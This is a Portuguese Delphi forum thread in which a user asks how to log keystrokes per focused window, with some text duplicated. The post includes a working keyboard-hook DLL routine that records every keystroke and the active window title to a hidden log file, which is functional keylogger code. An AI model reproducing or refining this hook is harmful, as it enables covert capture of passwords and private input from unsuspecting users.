Fórum log (janela em foco) #330799
05/10/2006
0
olá pessoal, estou precisando criar um log que pegue a janela do windows que estiver em foco e escreva tudo o que está sendo feito nela(em um arquivo de texto), caso o usuario troque o foco para outra janela a rotina repete... a lógica é a mesma de um keyLogger(NAO ESTOU CRIANDO UM KEYLOGGER)
exemplo:
[janela ativa: http://forum.clubedelphi.net]
aqui aparece o que eu digitei [ENTER]
agora fui para uma outra linha [ENTER]
[janela ativa: Turbo Delphi]
showmessage(´agora o foco está na janela do delphi´)
bom, o que eu tenho atualmente é o código da minha dll que Hooka o teclado , ele quase faz isso, o problema dele é que ele faz algo assim:
[janela ativa: Clube Delphi]C[janela ativa:Clube Delphi]l[janela ativa:Clube Delphi]u[janela ativa:Clube Delphi]b[janela ativa:Clube Delphi]e[janela ativa:Clube Delphi][ENTER]
exemplo:
[janela ativa: http://forum.clubedelphi.net]
aqui aparece o que eu digitei [ENTER]
agora fui para uma outra linha [ENTER]
[janela ativa: Turbo Delphi]
showmessage(´agora o foco está na janela do delphi´)
bom, o que eu tenho atualmente é o código da minha dll que Hooka o teclado , ele quase faz isso, o problema dele é que ele faz algo assim:
[janela ativa: Clube Delphi]C[janela ativa:Clube Delphi]l[janela ativa:Clube Delphi]u[janela ativa:Clube Delphi]b[janela ativa:Clube Delphi]e[janela ativa:Clube Delphi][ENTER]
//isso esta em uma dll function KeyboardHookProc(code:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT stdcall; var arq:string; b1,b2:Boolean; ArqLog:TextFile; tecla:String[255]; BUFFER: array[0..255] of char; begin arq := ´D:\Xst\tmp\sistema\log_´+FormatDateTime(´dd"_"mm"_"yyy´,Date)+´.txt´; if (code <> HC_NOREMOVE)and(lParam<0) then begin AssignFile(ArqLog,arq); try if fileexists(arq) then Append(ArqLog) else ReWrite(ArqLog); GetWindowText(GetActiveWindow, BUFFER, 255); Write(ArqLog,´[JANELA ATIVA: ´+ BUFFER +´ ]´); case wParam of VK_CAPITAL, VK_MENU:begin //ignore estas teclas end; VK_CONTROL:begin Write(ArqLog,´[CTRL]´); end; VK_SHIFT:begin Write(ArqLog,´[SHIFT]´); end; VK_BACK:begin Write(ArqLog,´[BKSP]´); end; VK_TAB:begin Write(ArqLog,´[TAB]´); end; VK_RETURN:begin WriteLN(ArqLog,´[ENTER]´); end; VK_ESCAPE:begin Write(ArqLog,´[ESC]´); end; 32..64:begin Write(ArqLog,chr(Byte(wParam))); end; 65..90:begin// todas as letras b1:=GetKeyState(VK_SHIFT)<0; // verifica se o Shift está pressionado b2:=GetKeyState(VK_CAPITAL)=1;// Verifica o status do Caps_Lock if (b1 = b2) then // se o shift estiver com um status igual ao do caps_lock Write(ArqLog,chr(Byte(wParam+32))) // coloca em minusculo else Write(ArqLog,chr(Byte(wParam))); end; VK_NUMPAD0..VK_NUMPAD9:begin Write(ArqLog,chr(Byte(wParam-VK_NUMPAD0+48))); end; else begin tecla:=´´; GetKeyNameText(LParam,@tecla[1],254); Write(ArqLog,´[´+tecla+´]´); end; end; Flush(ArqLog); finally CloseFile(ArqLog); end; end; Result := CallNextHookEx(HHOOK(nil), code, wParam, lParam); end;
Mahdak
Curtir tópico
+ 0
Responder
Posts
29/12/2007
Warfighter
Onde posso usar isso ?
Flw
Flw
Responder
Gostei + 0
31/12/2007
Devmedia
Amigo mahdak
Tudo bom cara?
Tente isto:
Uma idéia. Agora voce pode implementar o a verificação Assigned da forma que descrevi no código acima. Já que a verificação que fiz acima serve para ver se este Form está em Instância na Memória. Ou seja. Aberto. Concerteza irá suprir sua nescessidade.
Um abraço. Um feliz ano novo.
Att.[/code]
Tudo bom cara?
Tente isto:
Procedure AddLog; var log: TextFile; Begin If Assigned(FormQueVocequer) then try AssignFile(log, ´c:\log.log´); If not FileExists(´c:\log.log´) then Rewrite(log,´c:\log.log´); Append(log); WriteLn(log, ´FormQueVoceQuer foi aberto´); Finally CloseFile(log); end; end;
Uma idéia. Agora voce pode implementar o a verificação Assigned da forma que descrevi no código acima. Já que a verificação que fiz acima serve para ver se este Form está em Instância na Memória. Ou seja. Aberto. Concerteza irá suprir sua nescessidade.
Um abraço. Um feliz ano novo.
Att.[/code]
Responder
Gostei + 0
Clique aqui para fazer login e interagir na Comunidade :)